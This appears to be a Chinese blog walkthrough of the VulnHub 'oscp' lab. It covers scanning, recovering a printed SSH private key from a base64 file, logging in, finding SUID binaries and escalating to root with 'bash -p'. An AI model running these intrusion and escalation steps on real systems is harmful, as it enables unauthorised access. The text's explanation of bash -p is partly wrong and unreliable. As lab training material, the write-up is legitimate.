vulnhub oscp SUID提权

本文最后更新于:2023年8月22日 晚上

[TOC]

[vulnhub]oscp(SUID提权)

环境搭建

oscp

下载解压后,使用vmware打开

image-20230720223037900

信息收集

常规思路:

  • 扫描ip
  • 扫描开放端口
  • 扫描目录

先扫ip:

1
2
nmap -sP 192.168.56.0/24 -T4
# -sP 使用ping来探测 -T4代表使用快速扫描
image-20230720223407161

这里学到一个新的命令,也可以扫描ip

1
netdiscover -r 192.168.56.0/24

image-20230720223443348

扫端口

1
nmap  -T4 -p 1-65535 192.168.56.135

image-20230720223618069

目录扫描

1
dirb http://192.168.56.135

image-20230720223743707

可以看到存在robots.txt目录,并且网站使用wordPress框架

解题步骤

image-20230720224036182

文章说flag在/root目录下面,并且只允许使用用户oscp

我们先访问一下/robots.txt

image-20230720224214326

访问/secret.txt

image-20230720224247096

base64解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
-----BEGIN OPENSSH PRIVATE KEY-----
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
8nfK2oDc6LfrDmjQAAAAlvc2NwQG9zY3A=
-----END OPENSSH PRIVATE KEY-----

发现这是一个OPENSSH PRIVATE KEY这个OPENSSH PRIVATE KEY文件可以用来进行私钥ssh连接

image-20230720224739047

我们将这个文件保存为privateKey,然后输入命令:

1
2
ssh -i privateKey oscp@192.168.56.135
# privateKey代表私钥的文件路径,oscp表示用户名,后面代表要连接的ip地址

直接连接提示我们没有权限

image-20230720225055850

我们需要改一下该私钥不能被其他人访问:

1
chmod 600 privateKey

再进行连接就成功了:

image-20230720225219536

查看一下/root目录下的文件:

1
ls /root

image-20230720225304485

没有权限

使用idwhoami等命令查看一下权限:

image-20230720225355388

当前为oscp用户

SUID提权

SUID可以让程序调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个root用户所有的SUID文件,那么运行该文件我们就可以获取到root权限

没有权限当然要使用提权啦,我们可以使用如下命令找到具有SUID权限的文件:

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

我们使用第1条命令:

image-20230720225923552

常见Linux中root文件列表如下

1
2
3
4
5
6
7
8
nmap
vim
find
bash
more
less
nano
cp

这里我们可以使用bash命令提权:

1
bash -p

bash -p命令是运行Bash shell时的一个选项。它用于启动一个特权(privileged)的Bash shell,以获取超级用户权限(root权限)运行命令。

具体而言,-p选项可用于以下情况:

  1. 需要以超级用户身份运行命令:通过在终端中输入sudo bash -p,您可以切换到超级用户(root)并启动一个特权的Bash shell。这样做后,您可以在该特权的Bash shell中运行命令,拥有更高的系统权限。

  2. 需要在脚本中以特权身份运行某些命令:如果您正在编写一个Shell脚本,并且需要在脚本中执行一些需要特权的命令,可以将bash -p作为脚本的shebang行之前的行,并将脚本更改为可执行文件。这样在运行脚本时,它将以特权模式运行,并在需要时提供超级用户权限。

需要注意的是,在使用bash -p命令时,应谨慎行事,确保只在必要的情况下使用超级用户权限,并仔细验证和审查要执行的命令,以防止意外或不安全的操作。错误地使用特权身份可能会导致系统不稳定,造成数据丢失或其他安全性问题。

提权之后我们再使用whoami查看一下当前用户:

image-20230720230558036

权限为:root

于是现在可以查看/root中的文件了:

image-20230720230707009

成功查看到flag


vulnhub oscp SUID提权
https://leekosss.github.io/2023/07/19/[vulnhub]oscp(SUID提权)/
作者
leekos
发布于
2023年7月19日
更新于
2023年8月22日
许可协议